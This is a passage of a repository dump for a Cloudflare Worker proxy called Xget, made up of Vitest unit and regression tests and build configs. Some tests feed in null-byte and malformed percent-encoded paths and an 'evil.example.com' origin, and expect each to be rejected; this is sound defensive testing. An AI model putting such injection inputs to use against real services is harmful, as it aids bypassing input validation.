validateRequest(request, url, createConfig()); expect(result.valid).toBe(false); expect(result.status).toBe(400); }); it('should reject paths containing ASCII control characters', () => { const baseUrl = new URL('https://example.com/gh/user/repo/%00file'); const request = /** @type {Request} */ ({ headers: new Headers(), method: 'GET', url: 'https://example.com/gh/user/repo/%00file' }); const url = /** @type {URL} */ ({ origin: 'https://example.com', pathname: '/gh/user/repo/\u0000file', searchParams: baseUrl.searchParams }); const result = validateRequest(request, url, createConfig()); expect(result.valid).toBe(false); expect(result.status).toBe(400); }); it('should reject malformed percent-encoded paths', () => { const baseUrl = new URL('https://example.com/gh/user/repo/%E0%A4%A'); const request = /** @type {Request} */ ({ headers: new Headers(), method: 'GET', url: 'https://example.com/gh/user/repo/%E0%A4%A' }); const url = /** @type {URL} */ ({ origin: 'https://example.com', pathname: '/gh/user/repo/%E0%A4%A', searchParams: baseUrl.searchParams }); const result = validateRequest(request, url, createConfig()); expect(result.valid).toBe(false); expect(result.status).toBe(400); }); it('should reject unsupported methods for regular requests', () => { const request = new Request('https://example.com/gh/user/repo/file.txt', { method: 'PATCH' }); const url = new URL(request.url); const result = validateRequest(request, url, createConfig()); expect(result.valid).toBe(false); expect(result.status).toBe(405); }); it('should reject paths longer than the configured maximum', () => { const request = new Request(`https://example.com/gh/${'a'.repeat(200)}`); const url = new URL(request.url); const result = validateRequest(request, url, createConfig({ MAX_PATH_LENGTH: '32' })); expect(result.valid).toBe(false); expect(result.status).toBe(414); }); }); describe('getAllowedMethods', () => { it('should respect configured methods for regular requests', () => { const config = createConfig({ ALLOWED_METHODS: 'GET,HEAD,POST' }); const request = new Request('https://example.com/gh/test/repo/issues', { method: 'POST' }); const url = new URL(request.url); expect(getAllowedMethods(request, url, config)).toEqual(['GET', 'HEAD', 'POST']); }); it('should allow mutating methods for Hugging Face API endpoints', () => { const request = new Request('https://example.com/hf/token', { method: 'DELETE' }); const url = new URL(request.url); expect(getAllowedMethods(request, url)).toEqual([ 'GET', 'HEAD', 'POST', 'PUT', 'PATCH', 'DELETE' ]); }); }); describe('isDockerRequest', () => { it('should identify canonical registry API paths', () => { const request = new Request('https://example.com/cr/ghcr/v2/demo/manifests/latest'); const url = new URL(request.url); expect(isDockerRequest(request, url)).toBe(true); }); it('should identify Docker requests by user agent or manifest headers', () => { const userAgentRequest = new Request('https://example.com/cr/docker/library/nginx', { headers: { 'User-Agent': 'docker/27.0.0' } }); const acceptRequest = new Request('https://example.com/cr/docker/library/nginx', { headers: { Accept: 'application/vnd.oci.image.manifest.v1+json' } }); const contentTypeRequest = new Request('https://example.com/cr/docker/library/nginx', { headers: { 'Content-Type': 'application/vnd.docker.distribution.manifest.v2+json' } }); expect(isDockerRequest(userAgentRequest, new URL(userAgentRequest.url))).toBe(true); expect(isDockerRequest(acceptRequest, new URL(acceptRequest.url))).toBe(true); expect(isDockerRequest(contentTypeRequest, new URL(contentTypeRequest.url))).toBe(true); }); it('should not treat generic /cr/ requests as Docker traffic without registry hints', () => { const request = new Request('https://example.com/cr/docker/library/nginx/readme'); const url = new URL(request.url); expect(isDockerRequest(request, url)).toBe(false); }); }); describe('addSecurityHeaders', () => { it('should add all required security headers', () => { const headers = new Headers(); const result = addSecurityHeaders(headers); expect(result.get('Strict-Transport-Security')).toContain('max-age=31536000'); expect(result.get('X-Frame-Options')).toBe('DENY'); expect(result.get('X-XSS-Protection')).toBe('1; mode=block'); expect(result.get('Referrer-Policy')).toBe('strict-origin-when-cross-origin'); expect(result.get('Content-Security-Policy')).toContain("default-src 'none'"); expect(result.get('Permissions-Policy')).toContain('interest-cohort=()'); }); it('should return the same Headers object', () => { const headers = new Headers(); const result = addSecurityHeaders(headers); expect(result).toBe(headers); }); }); describe('resolveAllowedOrigin', () => { it('should return the matching origin from the production config', () => { const config = createConfig({ ALLOWED_ORIGINS: 'https://app.example.com' }); const request = new Request('https://example.com/gh/test/repo', { headers: { Origin: 'https://app.example.com' } }); expect(resolveAllowedOrigin(request, config)).toBe('https://app.example.com'); }); it('should reject origins that are not configured', () => { const config = createConfig({ ALLOWED_ORIGINS: 'https://app.example.com' }); const request = new Request('https://example.com/gh/test/repo', { headers: { Origin: 'https://evil.example.com' } }); expect(resolveAllowedOrigin(request, config)).toBeNull(); }); it('should allow any origin when wildcard CORS is configured', () => { const config = createConfig({ ALLOWED_ORIGINS: '*' }); const request = new Request('https://example.com/gh/test/repo', { headers: { Origin: 'https://app.example.com' } }); expect(resolveAllowedOrigin(request, config)).toBe('*'); }); }); describe('addCorsHeaders', () => { it('should append allow headers and preserve existing Vary values', () => { const config = createConfig({ ALLOWED_ORIGINS: '*' }); const request = new Request('https://example.com/gh/test/repo', { headers: { Origin: 'https://app.example.com', 'Access-Control-Request-Headers': 'X-Test-Header' } }); const headers = addCorsHeaders(new Headers({ Vary: 'Accept-Encoding' }), request, config); expect(headers.get('Access-Control-Allow-Origin')).toBe('*'); expect(headers.get('Access-Control-Allow-Headers')).toBe('X-Test-Header'); expect(headers.get('Vary')).toBe('Accept-Encoding, Origin'); }); }); describe('createErrorResponse', () => { it('should create a plain-text error response with security headers', async () => { const response = createErrorResponse('Bad Request', 400); expect(response.status).toBe(400); expect(response.headers.get('Content-Type')).toBe('text/plain'); expect(response.headers.get('X-Frame-Options')).toBe('DENY'); expect(await response.text()).toBe('Bad Request'); }); it('should create detailed JSON error responses when requested', async () => { const response = createErrorResponse('Unauthorized', 401, true); const body = await response.json(); expect(response.headers.get('Content-Type')).toBe('application/json'); expect(body).toMatchObject({ error: 'Unauthorized', status: 401 }); expect(body.timestamp).toBeTruthy(); }); }); }); ================================================ FILE: test/unit/worker-regressions.test.js ================================================ import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; import worker from '../../src/index.js'; /** @type {ExecutionContext} */ const executionContext = { waitUntil() {}, passThroughOnException() {} }; describe('Worker regression coverage', () => { /** @type {{ match: ReturnType, put: ReturnType }} */ let cacheDefault; beforeEach(() => { cacheDefault = { match: vi.fn(async () => null), put: vi.fn(async () => undefined) }; vi.stubGlobal('caches', { default: cacheDefault }); }); afterEach(() => { vi.unstubAllGlobals(); vi.restoreAllMocks(); }); it('does not leak thrown upstream error details to clients', async () => { vi.spyOn(globalThis, 'fetch').mockRejectedValue(new Error('secret-upstream-detail')); const response = await worker.fetch( new Request('https://example.com/gh/user/repo/file.txt'), { MAX_RETRIES: '1', RETRY_DELAY_MS: '0', TIMEOUT_SECONDS: '1' }, executionContext ); const body = await response.text(); expect(response.status).toBe(502); expect(body).not.toContain('secret-upstream-detail'); expect(body).not.toContain('Failed after'); }); it('clears timeout handles when upstream fetch rejects', async () => { const timeoutToken = { id: 'timeout-token' }; const setTimeoutSpy = vi.fn(() => timeoutToken); const clearTimeoutSpy = vi.fn(); vi.stubGlobal('setTimeout', setTimeoutSpy); vi.stubGlobal('clearTimeout', clearTimeoutSpy); vi.spyOn(globalThis, 'fetch').mockRejectedValue(new Error('boom')); const response = await worker.fetch( new Request('https://example.com/gh/user/repo/file.txt'), { MAX_RETRIES: '1', RETRY_DELAY_MS: '0', TIMEOUT_SECONDS: '5' }, executionContext ); expect(response.status).toBe(502); expect(setTimeoutSpy).toHaveBeenCalled(); expect(clearTimeoutSpy).toHaveBeenCalledWith(timeoutToken); }); it('does not cache host-bound PyPI rewritten HTML responses', async () => { vi.spyOn(globalThis, 'fetch').mockResolvedValue( new Response('demo', { status: 200, headers: { 'Content-Type': 'text/html; charset=utf-8' } }) ); const response = await worker.fetch( new Request('https://mirror.example/pypi/simple/demo/'), {}, executionContext ); const body = await response.text(); expect(response.status).toBe(200); expect(body).toContain('https://mirror.example/pypi/files/packages/demo.whl'); expect(response.headers.get('Cache-Control')).toBe('no-store'); expect(cacheDefault.put).not.toHaveBeenCalled(); }); it('forwards body and content type for configured non-protocol POST requests', async () => { /** @type {{ url: string, method: string | undefined, body: string | null, contentType: string | null, cf: unknown }} */ let observed = { url: '', method: undefined, body: null, contentType: null, cf: undefined }; const fetchSpy = vi.spyOn(globalThis, 'fetch').mockImplementation(async (input, init) => { observed = { url: String(input), method: init?.method, body: init?.body ? await new Response(init.body).text() : null, contentType: new Headers(init?.headers).get('Content-Type'), cf: /** @type {RequestInit & { cf?: unknown }} */ (init || {}).cf }; return new Response('created', { status: 201, headers: { 'Content-Type': 'text/plain' } }); }); const response = await worker.fetch( new Request('https://example.com/gh/user/repo/issues', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ title: 'test' }) }), { ALLOWED_METHODS: 'GET,HEAD,POST' }, executionContext ); expect(response.status).toBe(201); expect(observed).toEqual({ url: 'https://github.com/user/repo/issues', method: 'POST', body: JSON.stringify({ title: 'test' }), contentType: 'application/json', cf: undefined }); expect(fetchSpy).toHaveBeenCalledTimes(1); expect(cacheDefault.match).not.toHaveBeenCalled(); expect(response.headers.get('Cache-Control')).toBe('no-store'); }); it('returns Docker registry version metadata for /v2/ probes', async () => { const response = await worker.fetch( new Request('https://example.com/v2/'), {}, executionContext ); expect(response.status).toBe(200); expect(response.headers.get('Docker-Distribution-Api-Version')).toBe('registry/2.0'); expect(response.headers.get('X-Performance-Metrics')).toBeNull(); expect(await response.text()).toBe('{}'); }); it('redirects unknown platforms and bare platform prefixes to the homepage', async () => { const unknownPlatform = await worker.fetch( new Request('https://example.com/not-a-platform/resource'), {}, executionContext ); const barePlatform = await worker.fetch( new Request('https://example.com/gh/', { method: 'GET' }), {}, executionContext ); expect(unknownPlatform.status).toBe(302); expect(unknownPlatform.headers.get('Location')).toBe('https://github.com/xixu-me/Xget'); expect(barePlatform.status).toBe(302); expect(barePlatform.headers.get('Location')).toBe('https://github.com/xixu-me/Xget'); }); it('rejects Docker requests that do not use a /cr/ prefix', async () => { const response = await worker.fetch( new Request('https://example.com/v2/library/nginx/manifests/latest'), {}, executionContext ); expect(response.status).toBe(400); expect(await response.text()).toContain('/cr/ prefix'); }); it('rejects disallowed CORS preflight methods before proxying upstream', async () => { const response = await worker.fetch( new Request('https://example.com/gh/user/repo', { method: 'OPTIONS', headers: { Origin: 'https://app.example.com', 'Access-Control-Request-Method': 'POST' } }), { ALLOWED_ORIGINS: 'https://app.example.com' }, executionContext ); expect(response.status).toBe(405); expect(await response.text()).toBe('Method not allowed'); }); it('serves cached responses without proxying upstream', async () => { cacheDefault.match.mockResolvedValueOnce( new Response('cached-body', { status: 200, headers: { 'Content-Type': 'text/plain' } }) ); const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue( new Response('should-not-run', { status: 200, headers: { 'Content-Type': 'text/plain' } }) ); const response = await worker.fetch( new Request('https://example.com/gh/user/repo/file.txt'), {}, executionContext ); const metrics = JSON.parse(response.headers.get('X-Performance-Metrics') || '{}'); expect(response.status).toBe(200); expect(await response.text()).toBe('cached-body'); expect(metrics).toHaveProperty('cache_hit'); expect(fetchSpy).not.toHaveBeenCalled(); }); it('reuses cached full content for range requests when a ranged entry is absent', async () => { cacheDefault.match.mockResolvedValueOnce(null).mockResolvedValueOnce( new Response('full-body', { status: 200, headers: { 'Content-Type': 'text/plain' } }) ); const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue( new Response('should-not-run', { status: 200, headers: { 'Content-Type': 'text/plain' } }) ); const response = await worker.fetch( new Request('https://example.com/gh/user/repo/file.txt', { headers: { Range: 'bytes=0-3' } }), {}, executionContext ); const metrics = JSON.parse(response.headers.get('X-Performance-Metrics') || '{}'); expect(response.status).toBe(200); expect(await response.text()).toBe('full-body'); expect(metrics).toHaveProperty('cache_hit_full_content'); expect(fetchSpy).not.toHaveBeenCalled(); }); it('falls back to upstream fetch when cache lookup throws', async () => { const warnSpy = vi.spyOn(console, 'warn').mockImplementation(() => {}); cacheDefault.match.mockRejectedValueOnce(new Error('cache-down')); const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue( new Response('ok', { status: 200, headers: { 'Content-Type': 'text/plain' } }) ); const response = await worker.fetch( new Request('https://example.com/gh/user/repo/file.txt'), {}, executionContext ); expect(response.status).toBe(200); expect(fetchSpy).toHaveBeenCalledTimes(1); expect(warnSpy).toHaveBeenCalledWith('Cache API unavailable:', expect.any(Error)); }); it('configures Git passthrough headers for upload-pack requests', async () => { const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue( new Response('', { status: 200, headers: { 'Content-Type': 'application/x-git-upload-pack-result' } }) ); const response = await worker.fetch( new Request('https://example.com/gh/user/repo.git/git-upload-pack', { method: 'POST' }), {}, executionContext ); const upstreamHeaders = new Headers(fetchSpy.mock.calls[0][1]?.headers); expect(response.status).toBe(200); expect(upstreamHeaders.get('User-Agent')).toBe('git/2.34.1'); expect(upstreamHeaders.get('Content-Type')).toBe('application/x-git-upload-pack-request'); }); it('derives HEAD content length from a range probe when the upstream omits it', async () => { const fetchSpy = vi.spyOn(globalThis, 'fetch').mockImplementation(async (input, init) => { if (init?.method === 'HEAD') { return new Response(null, { status: 200, headers: { 'Content-Type': 'text/plain' } }); } expect(new Headers(init?.headers).get('Range')).toBe('bytes=0-0'); return new Response(null, { status: 206, headers: { 'Content-Range': 'bytes 0-0/123' } }); }); const response = await worker.fetch( new Request('https://example.com/gh/user/repo/file.txt', { method: 'HEAD' }), {}, executionContext ); expect(response.status).toBe(200); expect(response.headers.get('Content-Length')).toBe('123'); expect(fetchSpy).toHaveBeenCalledTimes(2); }); it('uses a successful GET probe to recover missing HEAD content length', async () => { vi.spyOn(globalThis, 'fetch').mockImplementation(async (input, init) => { if (init?.method === 'HEAD') { return new Response(null, { status: 200, headers: { 'Content-Type': 'text/plain' } }); } return new Response(null, { status: 200, headers: { 'Content-Length': '321' } }); }); const response = await worker.fetch( new Request('https://example.com/gh/user/repo/file.txt', { method: 'HEAD' }), {}, executionContext ); expect(response.status).toBe(200); expect(response.headers.get('Content-Length')).toBe('321'); }); it('wraps upstream client errors in detailed JSON responses', async () => { vi.spyOn(globalThis, 'fetch').mockResolvedValue( new Response('teapot', { status: 418, headers: { 'Content-Type': 'text/plain' } }) ); const response = await worker.fetch( new Request('https://example.com/gh/user/repo/file.txt'), { MAX_RETRIES: '1', RETRY_DELAY_MS: '0' }, executionContext ); const body = await response.json(); expect(response.status).toBe(418); expect(body.error).toContain('Upstream server error (418): teapot'); }); it('retries upstream 5xx responses before succeeding', async () => { const fetchSpy = vi .spyOn(globalThis, 'fetch') .mockResolvedValueOnce( new Response('busy', { status: 503, headers: { 'Content-Type': 'text/plain' } }) ) .mockResolvedValueOnce( new Response('ok', { status: 200, headers: { 'Content-Type': 'text/plain' } }) ); const response = await worker.fetch( new Request('https://example.com/gh/user/repo/file.txt'), { MAX_RETRIES: '2', RETRY_DELAY_MS: '0' }, executionContext ); expect(response.status).toBe(200); expect(fetchSpy).toHaveBeenCalledTimes(2); }); it('retries rejected upstream fetches before succeeding', async () => { const fetchSpy = vi .spyOn(globalThis, 'fetch') .mockRejectedValueOnce(new Error('temporary-network-failure')) .mockResolvedValueOnce( new Response('ok', { status: 200, headers: { 'Content-Type': 'text/plain' } }) ); const response = await worker.fetch( new Request('https://example.com/gh/user/repo/file.txt'), { MAX_RETRIES: '2', RETRY_DELAY_MS: '0' }, executionContext ); expect(response.status).toBe(200); expect(fetchSpy).toHaveBeenCalledTimes(2); }); it('times out requests when the abort timer fires', async () => { const timeoutToken = { id: 'abort-timeout' }; const clearTimeoutSpy = vi.fn(); vi.stubGlobal( 'setTimeout', vi.fn((callback, delay) => { void delay; callback(); return timeoutToken; }) ); vi.stubGlobal('clearTimeout', clearTimeoutSpy); vi.spyOn(globalThis, 'fetch').mockImplementation(async (input, init) => { if (init?.signal?.aborted) { const error = new Error(`Aborted before fetching ${String(input)}`); error.name = 'AbortError'; throw error; } return new Response('unexpected-success', { status: 200, headers: { 'Content-Type': 'text/plain' } }); }); const response = await worker.fetch( new Request('https://example.com/gh/user/repo/file.txt'), { MAX_RETRIES: '2', RETRY_DELAY_MS: '0', TIMEOUT_SECONDS: '1' }, executionContext ); expect(response.status).toBe(408); expect(await response.text()).toBe('Request timeout'); expect(clearTimeoutSpy).toHaveBeenCalledWith(timeoutToken); }); it('returns a generic 500 when retry configuration prevents any upstream attempt', async () => { const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue( new Response('ok', { status: 200, headers: { 'Content-Type': 'text/plain' } }) ); const response = await worker.fetch( new Request('https://example.com/gh/user/repo/file.txt'), { MAX_RETRIES: '-1' }, executionContext ); expect(response.status).toBe(500); expect(await response.text()).toBe('No response received after all retry attempts'); expect(fetchSpy).not.toHaveBeenCalled(); }); it('logs and recovers when request setup throws unexpectedly', async () => { const errorSpy = vi.spyOn(console, 'error').mockImplementation(() => {}); const redirectSpy = vi.spyOn(Response, 'redirect').mockImplementation(() => { throw new Error('boom'); }); const response = await worker.fetch(new Request('https://example.com/'), {}, executionContext); expect(response.status).toBe(500); expect(await response.text()).toBe('Internal Server Error'); expect(errorSpy).toHaveBeenCalledWith('Error handling request:', expect.any(Error)); expect(redirectSpy).toHaveBeenCalled(); }); it('retries Docker requests with an anonymous token and follows redirects on success', async () => { const fetchSpy = vi.spyOn(globalThis, 'fetch').mockImplementation(async (input, init) => { const url = String(input); const headers = new Headers(init?.headers); if (url === 'https://ghcr.io/v2/private/repo/manifests/latest') { if (!headers.has('Authorization')) { return new Response('', { status: 401, headers: { 'WWW-Authenticate': 'Bearer realm="https://ghcr.io/token",service="ghcr.io"' } }); } expect(headers.get('Authorization')).toBe('Bearer token-123'); return new Response(null, { status: 302, headers: { Location: 'https://pkg.example.com/manifest' } }); } if (url.startsWith('https://ghcr.io/token')) { return new Response(JSON.stringify({ token: 'token-123' }), { status: 200, headers: { 'Content-Type': 'application/json' } }); } if (url === 'https://pkg.example.com/manifest') { expect(headers.get('Authorization')).toBeNull(); return new Response('', { status: 200, headers: { 'Content-Length': '0' } }); } throw new Error(`Unexpected fetch URL: ${url}`); }); const response = await worker.fetch( new Request('https://example.com/cr/ghcr/v2/private/repo/manifests/latest', { headers: { Accept: 'application/vnd.docker.distribution.manifest.v2+json' } }), {}, executionContext ); expect(response.status).toBe(200); expect(fetchSpy).toHaveBeenCalledTimes(4); }); it('warns and falls back to a Docker auth challenge when token negotiation fails', async () => { const warnSpy = vi.spyOn(console, 'warn').mockImplementation(() => {}); vi.spyOn(globalThis, 'fetch').mockResolvedValue( new Response('', { status: 401, headers: { 'WWW-Authenticate': 'Bearer realm="https://ghcr.io/token"' } }) ); const response = await worker.fetch( new Request('https://example.com/cr/ghcr/v2/private/repo/manifests/latest', { headers: { Accept: 'application/vnd.docker.distribution.manifest.v2+json' } }), {}, executionContext ); expect(response.status).toBe(401); expect(response.headers.get('WWW-Authenticate')).toBe( 'Bearer realm="https://example.com/cr/ghcr/v2/auth",service="Xget"' ); expect(warnSpy).toHaveBeenCalledWith('Token fetch failed:', expect.any(Error)); }); it('returns a ranged response after caching the full upstream body', async () => { cacheDefault.match .mockResolvedValueOnce(null) .mockResolvedValueOnce(null) .mockResolvedValueOnce( new Response('xy', { status: 206, headers: { 'Content-Range': 'bytes 0-1/6' } }) ); vi.spyOn(globalThis, 'fetch').mockResolvedValue( new Response('xyz123', { status: 200, headers: { 'Content-Type': 'text/plain' } }) ); const response = await worker.fetch( new Request('https://example.com/gh/user/repo/file.bin', { headers: { Range: 'bytes=0-1' } }), {}, executionContext ); const metrics = JSON.parse(response.headers.get('X-Performance-Metrics') || '{}'); expect(response.status).toBe(206); expect(metrics).toHaveProperty('range_cache_hit_after_full_cache'); }); it('warns when cache writes fail without waitUntil support', async () => { const warnSpy = vi.spyOn(console, 'warn').mockImplementation(() => {}); cacheDefault.put.mockRejectedValueOnce(new Error('cache-put-down')); vi.spyOn(globalThis, 'fetch').mockResolvedValue( new Response('cached', { status: 200, headers: { 'Content-Type': 'text/plain' } }) ); const response = await worker.fetch( new Request('https://example.com/gh/user/repo/file.txt'), {}, /** @type {ExecutionContext} */ ({}) ); await Promise.resolve(); expect(response.status).toBe(200); expect(warnSpy).toHaveBeenCalledWith('Cache put failed:', expect.any(Error)); }); it('warns when post-store cache lookups fail for range requests', async () => { const warnSpy = vi.spyOn(console, 'warn').mockImplementation(() => {}); cacheDefault.match .mockResolvedValueOnce(null) .mockResolvedValueOnce(null) .mockRejectedValueOnce(new Error('range-cache-down')); vi.spyOn(globalThis, 'fetch').mockResolvedValue( new Response('abcdef', { status: 200, headers: { 'Content-Type': 'text/plain' } }) ); const response = await worker.fetch( new Request('https://example.com/gh/user/repo/file.bin', { headers: { Range: 'bytes=0-1' } }), {}, executionContext ); expect(response.status).toBe(200); expect(warnSpy).toHaveBeenCalledWith('Cache put/match failed:', expect.any(Error)); }); it('copies upstream content length from non-standard header objects when needed', async () => { const upstreamHeaders = { /** * Reads an upstream header value. * @param {string} name */ get(name) { const header = name.toLowerCase(); if (header === 'content-type') { return 'text/plain'; } if (header === 'content-length') { return '777'; } return null; }, *[Symbol.iterator]() { yield ['Content-Type', 'text/plain']; } }; const fakeResponse = /** @type {Response} */ ({ body: null, headers: upstreamHeaders, ok: true, status: 200, statusText: 'OK', text: async () => 'ok' }); vi.spyOn(globalThis, 'fetch').mockResolvedValue(fakeResponse); const response = await worker.fetch( new Request('https://example.com/gh/user/repo/file.txt'), {}, executionContext ); expect(response.status).toBe(200); expect(response.headers.get('Content-Length')).toBe('777'); }); it('warns when upstream content length cannot be read during response finalization', async () => { const warnSpy = vi.spyOn(console, 'warn').mockImplementation(() => {}); const upstreamHeaders = { /** * Reads an upstream header value. * @param {string} name */ get(name) { if (name.toLowerCase() === 'content-type') { return 'text/plain'; } throw new Error('content-length unavailable'); }, *[Symbol.iterator]() { yield ['Content-Type', 'text/plain']; } }; const fakeResponse = /** @type {Response} */ ({ body: null, headers: upstreamHeaders, ok: true, status: 200, statusText: 'OK', text: async () => 'ok' }); vi.spyOn(globalThis, 'fetch').mockResolvedValue(fakeResponse); const response = await worker.fetch( new Request('https://example.com/gh/user/repo/file.txt'), {}, executionContext ); expect(response.status).toBe(200); expect(warnSpy).toHaveBeenCalledWith('Could not set Content-Length header:', expect.any(Error)); }); }); ================================================ FILE: test/unit/xget-skill-script.test.js ================================================ import { describe, expect, it } from 'vitest'; import { createPlatformEntries, extractPlatformsModule, loadPlatformsFromSource } from '../../skills/xget/scripts/xget.mjs'; describe('xget skill script', () => { it('extracts platform data from the new platform catalog source', () => { const source = `export const PLATFORM_CATALOG = { gh: 'https://github.com', 'cr-ghcr': 'https://ghcr.io' }; export const PLATFORMS = PLATFORM_CATALOG; `; expect(extractPlatformsModule(source)).toEqual({ gh: 'https://github.com', 'cr-ghcr': 'https://ghcr.io' }); }); it('still accepts the legacy PLATFORMS object source', () => { const source = `export const PLATFORMS = { npm: 'https://registry.npmjs.org' }; `; expect(extractPlatformsModule(source)).toEqual({ npm: 'https://registry.npmjs.org' }); }); it('loads categorized platform entries from the extracted source', () => { const entries = loadPlatformsFromSource(`export const PLATFORM_CATALOG = { gh: 'https://github.com', 'ip-openai': 'https://api.openai.com', 'cr-ghcr': 'https://ghcr.io' }; `); expect(entries).toEqual( createPlatformEntries({ gh: 'https://github.com', 'ip-openai': 'https://api.openai.com', 'cr-ghcr': 'https://ghcr.io' }) ); }); }); ================================================ FILE: tsconfig.json ================================================ { "compilerOptions": { "allowJs": true, "checkJs": true, "esModuleInterop": true, "forceConsistentCasingInFileNames": true, "module": "ESNext", "moduleResolution": "bundler", "noEmit": true, "skipLibCheck": true, "strict": true, "target": "ES2022" }, "exclude": ["node_modules", "dist", "coverage"], "include": ["src/**/*", "test/**/*", "node_modules/@cloudflare/vitest-pool-workers/types/**/*"] } ================================================ FILE: vitest.config.js ================================================ import { cloudflareTest } from '@cloudflare/vitest-pool-workers'; import { defineConfig } from 'vitest/config'; export default defineConfig({ plugins: [ cloudflareTest({ wrangler: { configPath: './wrangler.toml' } }) ], test: { testTimeout: 60000, hookTimeout: 30000 } }); ================================================ FILE: vitest.coverage.config.js ================================================ import { defineConfig } from 'vitest/config'; export default defineConfig({ test: { testTimeout: 60000, hookTimeout: 30000, include: [ 'test/features/auth.test.js', 'test/unit/**/*.test.js', 'test/platforms/crates.test.js', 'test/platforms/cran.test.js', 'test/platforms/flathub.test.js', 'test/platforms/homebrew.test.js', 'test/platforms/jenkins.test.js', 'test/platforms/npm-fix.test.js', 'test/platforms/opensuse.test.js' ], coverage: { // Cloudflare's Vitest Workers pool cannot emit reliable coverage yet, // so this suite targets the Node-compatible tests that still exercise src/. provider: 'istanbul', reporter: ['text', 'json', 'html', 'lcov'], reportsDirectory: './coverage', exclude: [ 'node_modules/**', 'test/**', 'coverage/**', 'dist/**', '*.config.js', '*.config.ts' ], include: ['src/**/*.js', 'src/**/*.ts'], thresholds: { global: { branches: 65, functions: 75, lines: 70, statements: 70 } } } } }); ================================================ FILE: wrangler.toml ================================================ #:schema node_modules/wrangler/config-schema.json name = "xget" main = "src/index.js" compatibility_date = "2024-10-22" compatibility_flags = ["nodejs_compat"] workers_dev = false [placement] mode = "smart" [observability] enabled = false head_sampling_rate = 1 [observability.logs] enabled = true head_sampling_rate = 1 persist = true invocation_logs = true [observability.traces] enabled = true persist = true head_sampling_rate = 1